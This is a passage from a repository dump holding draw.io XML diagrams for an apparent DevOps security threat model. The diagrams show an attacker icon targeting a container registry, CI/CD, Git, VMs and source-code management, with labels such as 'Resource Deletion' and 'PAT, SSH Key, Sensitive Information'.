</diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/registry.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:48:10.477Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"CVedfsamWtRIYAYD9ONr\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"134\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"161\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"357.68\" y=\"237.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"357.68\" y=\"201.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-44\" value=\"Registry\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.registry;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"332\" y=\"243\" width=\"60\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-45\" value=\"\" style=\"image;html=1;image=img/lib/clip_art/computers/Virtual_Application_128x128.png\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"192\" y=\"248.25\" width=\"54\" height=\"59.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-46\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"255\" y=\"277.68\" as=\"sourcePoint\" />\n            <mxPoint x=\"325\" y=\"277.68\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-47\" value=\"Environments\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"189\" y=\"307.75\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/res-del.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:20:10.338Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"KSahapI3c3l_RHHEG3bo\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-111\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"185\" y=\"256.5\" width=\"212\" height=\"90.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"268\" y=\"160\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"257\" y=\"187\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"322.5\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-104\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"271.75\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-112\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"259.5\" y=\"284.15\" width=\"63\" height=\"24\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"261\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-114\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"209\" y=\"278.48\" width=\"27.2\" height=\"35.34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-115\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"192.6\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-116\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Resource Deletion&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontColor=#FF0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"287\" y=\"217\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-118\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"286.68\" y=\"251\" as=\"sourcePoint\" />\n            <mxPoint x=\"286.68\" y=\"217\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/resources.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:44:51.297Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"pSp6Z-aBeIgJrEo98rst\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-41\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"160\" y=\"170\" width=\"89\" height=\"231\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"340\" y=\"153\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"329\" y=\"180\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-18\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"38\" y=\"253.29\" width=\"54.19\" height=\"70.41\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-19\" value=\"Infrastructure\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"26\" y=\"327\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-27\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"254\" y=\"242\" as=\"sourcePoint\" />\n            <mxPoint x=\"303\" y=\"267\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-29\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"329\" y=\"262.5\" width=\"65.5\" height=\"31\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-30\" value=\"CI/CD\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-31\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=#b85450;fillColor=#f8cecc;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;outlineConnect=0;align=center;shape=mxgraph.office.concepts.folder_public;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"174\" y=\"262.5\" width=\"58\" height=\"52\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-32\" value=\"\" style=\"sketch=0;shadow=0;dashed=0;html=1;strokeColor=#b85450;fillColor=#f8cecc;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;outlineConnect=0;align=center;shape=mxgraph.office.databases.database_public_folder;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"174\" y=\"181\" width=\"53\" height=\"54\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-33\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"254\" y=\"289\" as=\"sourcePoint\" />\n            <mxPoint x=\"301\" y=\"289\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-34\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=#b85450;fillColor=#f8cecc;labelPosition=center;verticalLabelPosition=bottom;outlineConnect=0;verticalAlign=top;align=center;shape=mxgraph.office.clouds.public_im_cloud_service;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"178\" y=\"347\" width=\"49\" height=\"44\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-36\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"259\" y=\"342\" as=\"sourcePoint\" />\n            <mxPoint x=\"299\" y=\"308\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-37\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"110\" y=\"293.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"157\" y=\"293.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"358.68\" y=\"256.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"358.68\" y=\"220.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-42\" value=\"Resources\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"173\" y=\"409\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/scm.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:26:22.264Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"1y4ifoBxq3W2CKUKRDPw\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-1\" value=\"\" style=\"shape=cylinder3;whiteSpace=wrap;html=1;boundedLbl=1;backgroundOutline=1;size=15;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"220\" y=\"225\" width=\"60\" height=\"80\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-2\" value=\"SCM\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"217\" y=\"315\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"395\" y=\"252\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"388\" y=\"319\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"305\" y=\"275\" as=\"sourcePoint\" />\n            <mxPoint x=\"375\" y=\"275\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"364\" y=\"82\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"353\" y=\"113\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-9\" value=\"\" style=\"shape=mxgraph.pid.vessels.pressurized_vessel;html=1;pointerEvents=1;align=center;verticalLabelPosition=bottom;verticalAlign=top;dashed=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"232\" y=\"77\" width=\"30\" height=\"57\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-10\" value=\"Codes\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"217\" y=\"134\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-11\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"343\" y=\"105\" as=\"sourcePoint\" />\n            <mxPoint x=\"287\" y=\"105\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-12\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;PAT, SSH Key, Sensitive Information&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontStyle=1;fontColor=#ff0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"288\" y=\"57\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-13\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"246.68\" y=\"203\" as=\"sourcePoint\" />\n            <mxPoint x=\"246.68\" y=\"169\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/unprotected.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:14:51.809Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"fYIrS1U55uzUx8py3X7C\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"330\" y=\"159\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font 